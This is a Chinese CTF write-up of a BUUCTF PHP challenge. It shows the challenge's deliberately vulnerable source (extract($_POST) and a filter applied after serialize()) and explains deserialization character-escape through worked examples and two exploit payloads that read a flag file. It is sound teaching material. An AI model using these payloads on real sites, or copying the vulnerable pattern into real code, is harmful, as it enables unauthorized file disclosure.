[安洵杯 2019]easy_serialize_php

  • [安洵杯 2019]easy_serialize_php
  • 这是BUUCTF上的一道题

知识点

  • extract()变量覆盖
  • php反序列化字符逃逸

源码分析

//index.php
<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
  • 有提示eval('phpinfo();'); //maybe you can find something in here!,当$function == 'phpinfo' 时就会执行phpinfo(),又发现$function = @$_GET['f'];,访问/index.php?f=phpinfo
  • 有发现

  • 猜测flag就在d0g3_f1ag.php文件里面,但是直接访问/d0g3_f1ag.php没有任何反应,继续判断应该要用index.php中的file_get_contents(base64_decode($userinfo['img']))函数来打开,即让index.php执行file_get_contents(d0g3_f1ag.php)

  • 接下来就要使base64_decode($userinfo['img']) = d0g3_f1ag.php,也就是$userinfo['img'] = ZDBnM19mMWFnLnBocA==
  • $userinfo 是由 $serialize_info 反序列化得来的,$serialize_info 是由 $_SESSION 序列化后的字符串又经过 filter() 函数过滤后得来的,所以我们的关键是要 使$_SESSION['img'] = ZDBnM19mMWFnLnBocA==
//index.php的部分代码
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
  • 由上面代码可知,$_SESSION['img']是不可控的,即我们没有办法直接自定义它的值,那怎么办呢?

  • 分析后又发现extract($_POST);,这个的作用是将 $_POST 数组的键值当成变量(建议自己去搜),例如 $_POST['a'] = 'abc',经过extract($_POST)处理后,就有了$a = 'abc',那可以用post方法传入_SESSION['img'] = ZDBnM19mMWFnLnBocA==吗?还是不可以的,因为在index.php中,extract($_POST)的执行顺序在上面代码块之前,也就是说我们可以用extract($_POST)来给_SESSION['img']赋值,但是它的值后面就又被覆盖了

  • 要解决这个问题就要用到php反序列化字符逃逸的知识,这是本题的关键点

extract()

  • 先学习一下extract()函数
$_SESSION['a'] = 'a';
$_SESSION['b'] = 'b';

extract($_GET);

$_SESSION['c'] = 'c';
$_SESSION['d'] = 'd';

var_dump($_SESSION);
  • 我用get方法传入?\_SESSION[e]=e,结果为array(3) { ["e"]=> string(1) "e" ["c"]=> string(1) "c" ["d"]=> string(1) "d" }
  • 这就看出问题了,前面两个值 a 和 b 消失了

php反序列化字符逃逸

  • 反序列化的对象逃逸问题一般根据过滤函数分为两种:关键词数增加 和 关键词数减少
  • 关键字增加一般是将关键字替换为其他字符串,例如将where替换weihacker
  • 关键字减少一般是被过滤掉一些关键词,比如在这道题里面是将flag替换为空,关键字减少又分为键逃逸和值逃逸

键逃逸

  • 以本题为例,如果我用post方法写入_SESSION['flag'] = 'abcd',序列化后的字符串为a:1:{s:4:"flag";s:4:"abcd";},经过 filter()函数 过滤后flag被替换为空,变成a:1:{s:4:"";s:4:"abcd";}";s:这四个字符成为了键,这是由于本来的键的名称是flag,长度是4,当flag被替换为空后,就要往后数4个字符,取出来作键名,原本在falg后面的四个字符就被拿出来当成键名了
  • 如果我写入_SESSION['flagflag'] = '";s:1:"a";s:3:"img";s:4:"abcd',经过 filter()函数 过滤后的序列化字符串为a:1:{s:8:"";s:29:"";s:1:"a";s:3:"img";s:4:"abcd";},这就变成了含有两个元素的数组,即array('";s:29:"' => 'a', 'img' => 'abcd'),(其实这里最前面的a:1有点问题,它表示后面有一个键值对,但这里明明有两个,思考一下,后面再解决)
  • 注意这里不容易理解,建议自己用代码实现一下
  • 如果上面理解了,看这里,我们留了一个问题,就是a:1那个,现在我们解决一下。我用post方法写入_SESSION['flag'] = 'abcd'&_SESSION['user'] = 'ABCD',再输出serialize($_SESSION),过滤后的序列化字符串为a:2:{s:4:"";s:4:"abcd";s:4:"user";s:4:"abcd";},var_dump()一下,得bool(false),报错了,很明显是因为格式错误
  • 输入_SESSION['flagflag'] = '";s:1:"a";s:3:"img";s:4:"abcd";}'&_SESSION['user'] = 'ABCD',过滤后的序列化字符串为a:2:{s:8:"";s:32:"";s:1:"a";s:3:"img";s:4:"abcd";}";s:4:"user";s:4:"abcd";}(注意大括号的闭合,多余的部分已经没有用了),将他反序列并var_dump()一下,得array(2) { ["";s:32:""]=> string(1) "a" ["img"]=> string(4) "abcd" },是不是发现我们虽然没有直接传入_SESSION['img'],但是我们却间接的控制了它
  • 总结一下我们是如何解决extract($_POST)传入的_SESSION['img']不被后面代码覆盖的。看这里,_SESSION['flagflag'] = '";s:1:"a";s:3:"img";s:4:"abcd";}',我们在最后传入了一个;}它将取代原本最后面的}来闭合前面的{,这就导致index.php在后面传入$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));的时候把$_SESSION['img']作废了,及不能够覆盖前面我们传入的的img的值了
//exp
_SESSION[flagphp]=;s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

值逃逸

  • 值逃逸与键逃逸原理相同,只不过值逃逸是需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对,而键逃逸只需要一个键值对就行了,直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对
//exp
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
//注意最后还有s:2:"dd";s:1:"a";,这是因为序列化的时候总共有3个键值对,我们也应该凑齐3个

总结

  • php反序列化字符逃逸的利用条件:可传入的序列化字符串,有合适的序列化字符串过滤函数
  • 注意extract()函数,可能存在变量覆盖的漏洞

文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录